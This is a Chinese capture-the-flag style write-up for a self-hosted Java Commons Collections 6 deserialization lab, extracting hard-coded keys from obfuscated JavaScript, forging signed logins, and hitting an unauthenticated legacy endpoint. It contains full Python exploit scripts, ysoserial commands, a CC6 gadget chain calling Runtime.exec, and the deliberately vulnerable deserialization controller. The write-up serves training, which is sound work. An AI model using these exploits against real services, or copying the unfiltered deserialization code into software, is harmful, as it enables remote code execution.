凌曦安全团队 CC6 反序列化靶场 WriteUp
一、前置信息
1.1 环境搭建
https://github.com/lingxisec/LingXiLabs
1.2 视频讲解
https://www.bilibili.com/video/BV12hZ7BMEb9
二、信息收集
访问 http://127.0.0.1:8080,看到登录页面,查看 index.html 源码,发现加载了以下 JS 文件
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script src="/js/app.min.js"></script>下载 /js/app.min.js 文件进行分析。
curl http://127.0.0.1:8080/js/app.min.js -o app.min.js三、攻击路径 A
3.1 JS 逆向获取登录密钥
分析 app.min.js,打开 app.min.js,虽然代码被混淆,但可以看到一些关键信息,这个注释暴露了一个隐藏接口,我们稍后会用到。
// 在文件开头可以看到注释
// Legacy sync endpoint (deprecated): /api/legacy/sync - TODO: remove in v2.0
// var _0xlegacy='/api/legacy/sync';提取 AES 密钥,在混淆代码中搜索数组,可以找到:
var _0x9b1c=[76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33];
var _0x2d3e=[76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33];将这些数字转换为字符:
# AES Key
key_bytes = [76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33]
aes_key = ''.join(chr(b) for b in key_bytes)
print(f"AES Key: {aes_key}")
# 输出: LingXi_S3cur3_K!
# AES IV
iv_bytes = [76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33]
aes_iv = ''.join(chr(b) for b in iv_bytes)
print(f"AES IV: {aes_iv}")
# 输出: Lin9x1_1V_2025!!继续搜索,找到签名密钥:
var _0x4f5a=[86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53];转换:
secret_bytes = [86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53]
secret = ''.join(chr(b) for b in secret_bytes)
print(f"Secret: {secret}")
# 输出: Vuln_Range_CC6_S3cr3t_20253.2 登录系统
使用提取的 AES 密钥加密登录凭据:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
def aes_encrypt(plaintext, key, iv):
cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode())
padded = pad(plaintext.encode(), AES.block_size)
encrypted = cipher.encrypt(padded)
return base64.b64encode(encrypted).decode()
aes_key = "LingXi_S3cur3_K!"
aes_iv = "Lin9x1_1V_2025!!"
username = "admin"
password = "Admin@123"
enc_username = aes_encrypt(username, aes_key, aes_iv)
enc_password = aes_encrypt(password, aes_key, aes_iv)
print(f"Encrypted Username: {enc_username}")
print(f"Encrypted Password: {enc_password}")使用 HMAC-SHA256 生成签名:
import hmac
import hashlib
import time
import secrets
def generate_signature(secret, timestamp, nonce):
message = f"{timestamp}:{nonce}"
signature = hmac.new(
secret.encode(),
message.encode(),
hashlib.sha256
).digest()
return base64.b64encode(signature).decode()
secret = "Vuln_Range_CC6_S3cr3t_2025"
timestamp = str(int(time.time() * 1000))
nonce = secrets.token_hex(16)
signature = generate_signature(secret, timestamp, nonce)
print(f"Timestamp: {timestamp}")
print(f"Nonce: {nonce}")
print(f"Signature: {signature}")发送登录请求
import requests
url = "http://127.0.0.1:8080/api/login"
headers = {
"Content-Type": "application/json",
"X-Timestamp": timestamp,
"X-Nonce": nonce,
"X-Signature": signature
}
data = {
"u": enc_username,
"p": enc_password
}
response = requests.post(url, json=data, headers=headers)
print(f"Status: {response.status_code}")
print(f"Response: {response.json()}")
# 保存 Cookie
session_cookie = response.cookies.get('JSESSIONID')
print(f"Session Cookie: {session_cookie}")登录成功后,访问 http://127.0.0.1:8080/admin.html
可以看到"备份恢复"功能,这里可以导入数据。
使用 ysoserial 生成 Commons Collections 6 反序列化 payload:
# 下载 ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# 生成 payload(执行 id 命令)
java -jar ysoserial-all.jar CommonsCollections6 "id" > payload.bin
# 转换为 Base64
base64 payload.bin > payload.b64发送 Payload,完整利用脚本
import requests
import hmac
import hashlib
import time
import secrets
import base64
class CC6Exploit:
def __init__(self, target_url, secret):
self.target_url = target_url
self.secret = secret
self.session = requests.Session()
def generate_signature(self, timestamp, nonce):
message = f"{timestamp}:{nonce}"
signature = hmac.new(
self.secret.encode(),
message.encode(),
hashlib.sha256
).digest()
return base64.b64encode(signature).decode()
def get_signed_headers(self):
timestamp = str(int(time.time() * 1000))
nonce = secrets.token_hex(16)
signature = self.generate_signature(timestamp, nonce)
return {
"X-Timestamp": timestamp,
"X-Nonce": nonce,
"X-Signature": signature
}
def login(self, username, password):
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
aes_key = "LingXi_S3cur3_K!"
aes_iv = "Lin9x1_1V_2025!!"
# 加密用户名和密码
cipher_u = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode())
enc_u = base64.b64encode(cipher_u.encrypt(pad(username.encode(), 16))).decode()
cipher_p = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode())
enc_p = base64.b64encode(cipher_p.encrypt(pad(password.encode(), 16))).decode()
# 发送登录请求
url = f"{self.target_url}/api/login"
headers = self.get_signed_headers()
headers["Content-Type"] = "application/json"
data = {"u": enc_u, "p": enc_p}
response = self.session.post(url, json=data, headers=headers)
if response.status_code == 200 and response.json().get("success"):
print("[+] 登录成功!")
return True
else:
print(f"[-] 登录失败: {response.text}")
return False
def exploit_authenticated(self, payload_file):
"""路径 A:需要登录和签名"""
with open(payload_file, 'rb') as f:
payload = base64.b64encode(f.read()).decode()
url = f"{self.target_url}/api/data/import"
headers = self.get_signed_headers()
headers["Content-Type"] = "text/plain"
response = self.session.post(url, data=payload, headers=headers)
print(f"[*] 状态码: {response.status_code}")
print(f"[*] 响应: {response.text}")
return response
# 使用示例
if __name__ == "__main__":
exploit = CC6Exploit(
target_url="http://127.0.0.1:8080",
secret="Vuln_Range_CC6_S3cr3t_2025"
)
# 登录
if exploit.login("admin", "Admin@123"):
# 发送 payload
exploit.exploit_authenticated("payload.bin")四、攻击路径 B
4.1 JS 审计发现隐藏接口
在 app.min.js 中可以找到以下注释:
// Legacy sync endpoint (deprecated): /api/legacy/sync - TODO: remove in v2.0
// var _0xlegacy='/api/legacy/sync';以及被注释的函数:
// Legacy function - deprecated, use __signPayload instead
// var _0xlegacySync=function(_0xdata){return fetch('/api/legacy/sync',{method:'POST',headers:{'Content-Type':'text/plain'},body:_0xdata,credentials:'same-origin'}).then(function(_0xr){return _0xr.json();});};这暴露了一个隐藏的接口:/api/legacy/sync
4.2 测试未授权访问
# 测试接口是否存在
curl -X POST http://127.0.0.1:8080/api/legacy/sync \
-H "Content-Type: text/plain" \
-d "test"如果返回类似 "请求体为空" 或其他错误,说明接口存在且无需认证!
直接发送 Payload
def exploit_unauthenticated(target_url, payload_file):
"""路径 B:无需登录和签名"""
with open(payload_file, 'rb') as f:
payload = base64.b64encode(f.read()).decode()
url = f"{target_url}/api/legacy/sync"
headers = {"Content-Type": "text/plain"}
response = requests.post(url, data=payload, headers=headers)
print(f"[*] 状态码: {response.status_code}")
print(f"[*] 响应: {response.text}")
return response
# 使用
exploit_unauthenticated("http://127.0.0.1:8080", "payload.bin")完整利用脚本
#!/usr/bin/env python3
import requests
import base64
import argparse
def exploit_legacy(target_url, payload_file):
"""未授权接口利用"""
print("[*] 使用未授权接口: /api/legacy/sync")
with open(payload_file, 'rb') as f:
payload = base64.b64encode(f.read()).decode()
url = f"{target_url}/api/legacy/sync"
headers = {"Content-Type": "text/plain"}
print(f"[*] 发送 payload 到 {url}")
response = requests.post(url, data=payload, headers=headers)
print(f"[+] 状态码: {response.status_code}")
print(f"[+] 响应: {response.text}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CC6 靶场利用脚本")
parser.add_argument("--target", default="http://127.0.0.1:8080", help="目标 URL")
parser.add_argument("--payload", required=True, help="Payload 文件路径")
args = parser.parse_args()
exploit_legacy(args.target, args.payload)使用:
python3 exploit.py --payload payload.bin五、加解密详解
5.1 AES-CBC 加密(登录)
加密流程
- 明文:用户名或密码(如 "admin")
- 填充:使用 PKCS7 填充到 16 字节的倍数
- 加密:使用 AES-128-CBC 模式
- 编码:Base64 编码
Python 实现
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
# 密钥和 IV(从 JS 中提取)
AES_KEY = "LingXi_S3cur3_K!" # 16 字节
AES_IV = "Lin9x1_1V_2025!!" # 16 字节
def aes_encrypt(plaintext):
"""AES-CBC 加密"""
cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode())
padded = pad(plaintext.encode(), AES.block_size)
encrypted = cipher.encrypt(padded)
return base64.b64encode(encrypted).decode()
def aes_decrypt(ciphertext):
"""AES-CBC 解密"""
cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode())
encrypted = base64.b64decode(ciphertext)
decrypted = cipher.decrypt(encrypted)
unpadded = unpad(decrypted, AES.block_size)
return unpadded.decode()
# 测试
username = "admin"
encrypted = aes_encrypt(username)
print(f"加密: {encrypted}")
decrypted = aes_decrypt(encrypted)
print(f"解密: {decrypted}")Java 后端解密
// AuthService.java
private String decrypt(String encryptedBase64) throws Exception {
byte[] ciphertext = Base64.getDecoder().decode(encryptedBase64.trim());
byte[] key = config.getAesKey().getBytes(StandardCharsets.UTF_8);
byte[] iv = config.getAesIv().getBytes(StandardCharsets.UTF_8);
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv));
byte[] dec = c.doFinal(ciphertext);
return new String(dec, StandardCharsets.UTF_8);
}5.2 HMAC-SHA256 签名(防重放)
签名流程
- 生成时间戳:当前时间的毫秒数
- 生成 Nonce:32 位随机十六进制字符串
- 构造消息:timestamp:nonce
- 计算 HMAC:使用 SHA256 和密钥
- 编码:Base64 编码
Python 实现
import hmac
import hashlib
import time
import secrets
import base64
# 签名密钥(从 JS 中提取)
SIGN_SECRET = "Vuln_Range_CC6_S3cr3t_2025"
def generate_signature():
"""生成签名头"""
# 1. 生成时间戳(毫秒)
timestamp = str(int(time.time() * 1000))
# 2. 生成随机 nonce
nonce = secrets.token_hex(16) # 32 位十六进制
# 3. 构造消息
message = f"{timestamp}:{nonce}"
# 4. 计算 HMAC-SHA256
signature = hmac.new(
SIGN_SECRET.encode(),
message.encode(),
hashlib.sha256
).digest()
# 5. Base64 编码
signature_b64 = base64.b64encode(signature).decode()
return {
"X-Timestamp": timestamp,
"X-Nonce": nonce,
"X-Signature": signature_b64
}
# 测试
headers = generate_signature()
print("签名头:")
for key, value in headers.items():
print(f" {key}: {value}")JavaScript 前端实现
// 从 app.min.js 中提取的逻辑
function hmacSha256Base64(keyStr, messageStr) {
if (typeof CryptoJS !== 'undefined') {
var hash = CryptoJS.HmacSHA256(messageStr, keyStr);
return CryptoJS.enc.Base64.stringify(hash);
}
// 或使用 Web Crypto API
const enc = new TextEncoder();
return crypto.subtle.importKey(
'raw',
enc.encode(keyStr),
{ name: 'HMAC', hash: 'SHA-256' },
false,
['sign']
).then(key => {
return crypto.subtle.sign('HMAC', key, enc.encode(messageStr));
}).then(sig => {
return btoa(String.fromCharCode(...new Uint8Array(sig)));
});
}
// 生成签名
const secret = 'Vuln_Range_CC6_S3cr3t_2025';
const timestamp = Date.now();
const nonce = Array.from({length: 32}, () =>
Math.floor(Math.random() * 16).toString(16)
).join('');
const message = timestamp + ':' + nonce;
hmacSha256Base64(secret, message).then(signature => {
console.log('X-Timestamp:', timestamp);
console.log('X-Nonce:', nonce);
console.log('X-Signature:', signature);
});Java 后端验证
// SignatureService.java
public boolean verify(long timestamp, String nonce, String signature) {
// 1. 检查时间戳(300 秒窗口)
long now = System.currentTimeMillis();
long windowMs = 300 * 1000L;
if (Math.abs(now - timestamp) > windowMs) {
return false; // 时间戳过期
}
// 2. 检查 nonce 是否已使用(防重放)
String nonceKey = nonce.trim() + ":" + timestamp;
if (!usedNonces.add(nonceKey)) {
return false; // Nonce 已使用
}
// 3. 计算期望的签名
String expected = computeSignature(timestamp, nonce.trim());
// 4. 比较签名
return expected != null && expected.equals(signature);
}
public String computeSignature(long timestamp, String nonce) {
String message = timestamp + ":" + nonce;
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec secretKey = new SecretKeySpec(
config.getSecret().getBytes(StandardCharsets.UTF_8),
"HmacSHA256"
);
mac.init(secretKey);
byte[] hash = mac.doFinal(message.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(hash);
}
5.3 完整请求示例
登录请求
POST /api/login HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
X-Timestamp: 1704067200000
X-Nonce: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
X-Signature: dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=
{
"u": "DggQe/jDNFSS2PTydb2zGiOM3hJx0yFN1JU8hOISIFs=",
"p": "8xK2mN5pQ7rT9vW1yZ3aB4cD6eF8gH0iJ2kL4mN6oP8="
}数据导入请求(需登录)
POST /api/data/import HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Cookie: JSESSIONID=ABC123DEF456
X-Timestamp: 1704067200000
X-Nonce: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
X-Signature: dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...未授权接口请求
POST /api/legacy/sync HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...六、Commons Collections 6 反序列化链
6.1 漏洞成因
Java 反序列化漏洞是由于应用程序在反序列化不可信数据时,没有进行充分的验证,导致攻击者可以构造恶意的序列化对象,在反序列化过程中执行任意代码。
6.2 CC6 链原理
Commons Collections 6 利用链的核心是:
- PriorityQueue:优先队列,在反序列化时会调用 heapify() 方法
- TransformingComparator:转换比较器,在比较时会调用 transform() 方法
- ChainedTransformer:链式转换器,依次执行多个转换器
- InvokerTransformer:反射调用转换器,可以调用任意方法
调用链
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> comparator.compare()
-> TransformingComparator.compare()
-> transformer.transform()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.exec()Payload 构造
// 1. 创建恶意转换器链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 2. 创建 TransformingComparator
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
// 3. 创建 PriorityQueue
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
// 4. 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
byte[] payload = bos.toByteArray();靶场中的反序列化点VulnController.java
@PostMapping(value = "/data/import", consumes = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public ResponseEntity<Map<String, Object>> dataImport(@RequestBody(required = false) byte[] body) throws Exception {
// ...
Object obj = deserialize(decoded); // 危险!
// ...
}
@PostMapping(value = "/legacy/sync", consumes = {MediaType.TEXT_PLAIN_VALUE, MediaType.APPLICATION_OCTET_STREAM_VALUE})
public ResponseEntity<Map<String, Object>> legacySync(@RequestBody(required = false) byte[] body) throws Exception {
// ...
Object obj = deserialize(decoded); // 危险!
// ...
}
private Object deserialize(byte[] data) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
return ois.readObject(); // 直接反序列化,没有任何过滤
}
}七、总结
关键技术点
- JS 逆向:从混淆的 JS 中提取密钥和接口
- AES-CBC 加密:理解对称加密的加解密过程
- HMAC-SHA256 签名:理解消息认证码的生成和验证
- Java 反序列化:理解反序列化漏洞的原理和利用
- Commons Collections:掌握 CC6 链的构造和调用过程
学习建议 - 动手实践:在本地搭建靶场,尝试两种攻击路径
- 代码审计:阅读源码,理解每个防护机制的实现
- 工具使用:熟练使用 ysoserial、Burp Suite 等工具
- 原理学习:深入理解 Java 反序列化的底层机制
- 防御思维:从攻击者角度思考如何防御
凌曦安全 · 更多靶场和课程:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3
本文作者:lingxisec
本文链接:https://blog.lingxisec.com/archives/CC6-WriteUp.html
版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
法律说明:
文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
- 上一篇:js逆向学习从0-1
- 下一篇:没有了